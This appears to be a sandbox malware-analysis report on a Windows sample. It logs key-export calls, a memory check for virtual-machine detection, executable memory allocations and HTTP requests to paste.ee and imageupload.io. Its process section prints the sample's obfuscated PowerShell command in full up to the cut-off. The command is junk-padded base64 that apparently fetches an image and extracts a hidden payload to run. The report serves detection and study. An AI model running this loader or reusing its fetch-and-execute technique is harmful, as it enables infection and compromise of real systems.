CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602d20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602d20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00523e60 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00524560 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00524560 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00524560 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00523c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00523c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00523c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00523c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00523c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00523c20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Nov. 2, 2023, 10:05 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET https://imageupload.io/ib/WJveX71agmOQ6Gw_1698762642.jpg

Performs some HTTP requests (2 events)

request	GET https://paste.ee/d/10dsb
request	GET https://imageupload.io/ib/WJveX71agmOQ6Gw_1698762642.jpg

Allocates read-write-execute memory (usually to unpack itself) (50 out of 288 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 458752 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02500000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72681000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0255a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72682000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02552000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02501000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02502000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0255b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x049d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f13000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f14000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f15000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f16000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f17000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f18000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f19000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f1a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f1b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f1c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f1d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f1e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f1f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f21000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f23000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2023, 10:05 a.m.	process_identifier: 2332 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f24000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\ZtZrXNAbFDXYomOuLGEMSiBJOBDoapJNRAmytqVsfxPgsEVXFUaakNCAHFIQYATzzYtnzWAoKyvemypxhhmSPkLCuqUWYhWaIBRvZCENNviwxaZppSGgXcFgmObRIIpEXPkYtyuuQZasSYOQjlbLDd.vbs

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	powershell -command "$Codigo = 'JzUbPÇKuBpzUbPÇKuG0zUbPÇKuYQBnzUbPÇKuGUzUbPÇKuVQByzUbPÇKuGwzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwBozUbPÇKuHQzUbPÇKudzUbPÇKuBwzUbPÇKuHMzUbPÇKuOgzUbPÇKuvzUbPÇKuC8zUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuHUzUbPÇKuczUbPÇKuBszUbPÇKuG8zUbPÇKuYQBkzUbPÇKuC4zUbPÇKuaQBvzUbPÇKuC8zUbPÇKuaQBizUbPÇKuC8zUbPÇKuVwBKzUbPÇKuHYzUbPÇKuZQBYzUbPÇKuDczUbPÇKuMQBhzUbPÇKuGczUbPÇKubQBPzUbPÇKuFEzUbPÇKuNgBHzUbPÇKuHczUbPÇKuXwzUbPÇKuxzUbPÇKuDYzUbPÇKuOQzUbPÇKu4zUbPÇKuDczUbPÇKuNgzUbPÇKuyzUbPÇKuDYzUbPÇKuNzUbPÇKuzUbPÇKuyzUbPÇKuC4zUbPÇKuagBwzUbPÇKuGczUbPÇKuJwzUbPÇKu7zUbPÇKuCQzUbPÇKudwBlzUbPÇKuGIzUbPÇKuQwBszUbPÇKuGkzUbPÇKuZQBuzUbPÇKuHQzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuTgBlzUbPÇKuHczUbPÇKuLQBPzUbPÇKuGIzUbPÇKuagBlzUbPÇKuGMzUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuTgBlzUbPÇKuHQzUbPÇKuLgBXzUbPÇKuGUzUbPÇKuYgBDzUbPÇKuGwzUbPÇKuaQBlzUbPÇKuG4zUbPÇKudzUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuzUbPÇKukzUbPÇKuHczUbPÇKuZQBizUbPÇKuEMzUbPÇKubzUbPÇKuBpzUbPÇKuGUzUbPÇKubgB0zUbPÇKuC4zUbPÇKuRzUbPÇKuBvzUbPÇKuHczUbPÇKubgBszUbPÇKuG8zUbPÇKuYQBkzUbPÇKuEQzUbPÇKuYQB0zUbPÇKuGEzUbPÇKuKzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBVzUbPÇKuHIzUbPÇKubzUbPÇKuzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuBpzUbPÇKuG0zUbPÇKuYQBnzUbPÇKuGUzUbPÇKuVzUbPÇKuBlzUbPÇKuHgzUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuVzUbPÇKuBlzUbPÇKuHgzUbPÇKudzUbPÇKuzUbPÇKuuzUbPÇKuEUzUbPÇKubgBjzUbPÇKuG8zUbPÇKuZzUbPÇKuBpzUbPÇKuG4zUbPÇKuZwBdzUbPÇKuDozUbPÇKuOgBVzUbPÇKuFQzUbPÇKuRgzUbPÇKu4zUbPÇKuC4zUbPÇKuRwBlzUbPÇKuHQzUbPÇKuUwB0zUbPÇKuHIzUbPÇKuaQBuzUbPÇKuGczUbPÇKuKzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBCzUbPÇKuHkzUbPÇKudzUbPÇKuBlzUbPÇKuHMzUbPÇKuKQzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwzUbPÇKu8zUbPÇKuDwzUbPÇKuQgBBzUbPÇKuFMzUbPÇKuRQzUbPÇKu2zUbPÇKuDQzUbPÇKuXwBTzUbPÇKuFQzUbPÇKuQQBSzUbPÇKuFQzUbPÇKuPgzUbPÇKu+zUbPÇKuCczUbPÇKuOwzUbPÇKukzUbPÇKuGUzUbPÇKubgBkzUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwzUbPÇKu8zUbPÇKuDwzUbPÇKuQgBBzUbPÇKuFMzUbPÇKuRQzUbPÇKu2zUbPÇKuDQzUbPÇKuXwBFzUbPÇKuE4zUbPÇKuRzUbPÇKuzUbPÇKu+zUbPÇKuD4zUbPÇKuJwzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBUzUbPÇKuGUzUbPÇKuezUbPÇKuB0zUbPÇKuC4zUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuE8zUbPÇKuZgzUbPÇKuozUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuKQzUbPÇKu7zUbPÇKuCQzUbPÇKuZQBuzUbPÇKuGQzUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuFQzUbPÇKuZQB4zUbPÇKuHQzUbPÇKuLgBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuTwBmzUbPÇKuCgzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBGzUbPÇKuGwzUbPÇKuYQBnzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuHMzUbPÇKudzUbPÇKuBhzUbPÇKuHIzUbPÇKudzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGczUbPÇKuZQzUbPÇKugzUbPÇKuDzUbPÇKuzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGczUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKugzUbPÇKuCszUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuLgBMzUbPÇKuGUzUbPÇKubgBnzUbPÇKuHQzUbPÇKuazUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKuYgBhzUbPÇKuHMzUbPÇKuZQzUbPÇKu2zUbPÇKuDQzUbPÇKuTzUbPÇKuBlzUbPÇKuG4zUbPÇKuZwB0zUbPÇKuGgzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKu